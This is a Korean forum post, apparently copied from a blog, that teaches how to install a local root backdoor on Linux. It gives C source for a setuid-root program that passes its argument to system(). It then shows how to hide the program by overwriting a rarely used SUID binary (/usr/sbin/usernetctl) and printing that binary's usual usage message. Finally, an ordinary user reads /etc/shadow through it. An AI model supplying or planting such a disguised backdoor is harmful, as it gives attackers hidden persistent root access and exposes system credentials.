linux

Total 136
Today 0
profile_image
ino
08-05-14 11:04 0개 2,429회
리눅스 SetUID를 이용한 로컬 백도어 설치 및 이용
1. 백도어의 생성







[Backdoor.c]



#include



main(int args, char *argv[]) {



char exec[100]; // 백도어 인수 100



setuid(0);



setgid(0);



sprintf(exec, "%s 2>/dev/null", argv[1]);



system(exec);



}







2. 리눅스 창에..







[root@localhost home ] # ls







1) gcc -0 backdoor backdoor.c 입력 ( 컴파일후 실행파일 만듬)



2) chmod 4755 backdoor (쉘 백도어 와같이. 실행권한을 주기 위해 4755 권한을 줌)



3) ls -al







4)./backdoor "id"



uid =0(root) gid=0(root) groups=500(whisfree)







wishfree(wishfree:/wishfree)





5) ./backdoor "cat /etc/passwd"



패스워드 파일은 일반계정처럼 읽을수 없음.



6) ./backdoor 실행 (인수없이 실행) 하면



아무런 반응 없음



7) 관리자 실행해도 내용 파악 하기 어려움







-----------------------------------------











SetUID형 로컬 백도어 설치 및 이용







1) 시스템 내부의 SetUID 비트 파일 검색



[root@wishfree root ]# find /-perm 4755







/use/bin/chage



/user/bin/gpasswd



.



.



.



/usr/sbin/userisdnctl SetUID 비트를 가진 파일 선택 (잘 사용되지 않는 프로그램에 설정)



.



.







2) 선택파일 실행







[root@wishfree root]# usernetctl



usage: usernetctl











3) 소스 수정











[Backdoor.c]



#include



main(int argc, char *argv[]) {



char exec[100]; // 백도어 인수 100



setuid(0);



setgid(0);



sprintf(exec, "%s 2>/dev/null", argv[1]);



system(exec);



printf("usage: usernetctl \n");



}



------



printf 에 정상 메시지 삽입(상위에 백도어)



------







4) gcc -o backdoor2 backdoor.c



5) chmod 4755 backdoor2







6) 실제 파일을 실행시켰을때(./backdoor2)



점검하고







7) 백도어와 선택 파일 과 교체



[root@wishfree wishfree]# cp ./backdoor2 /usr/sbin/usernetctl



cp: overwrite '/usr/sbin/usernetctl' ? y







---------------------







백도어 사용







[wishfree@wishfree root]$ /usr/sbin/usernetctl "cat /etc/shadow"

[출처] 리눅스 SetUID를 이용한 로컬 백도어 설치 및 이용|작성자 칵 퉤퉤



http://blog.naver.com/hellicon?Redirect=Log&logNo=10029458943

댓글목록

등록된 댓글이 없습니다.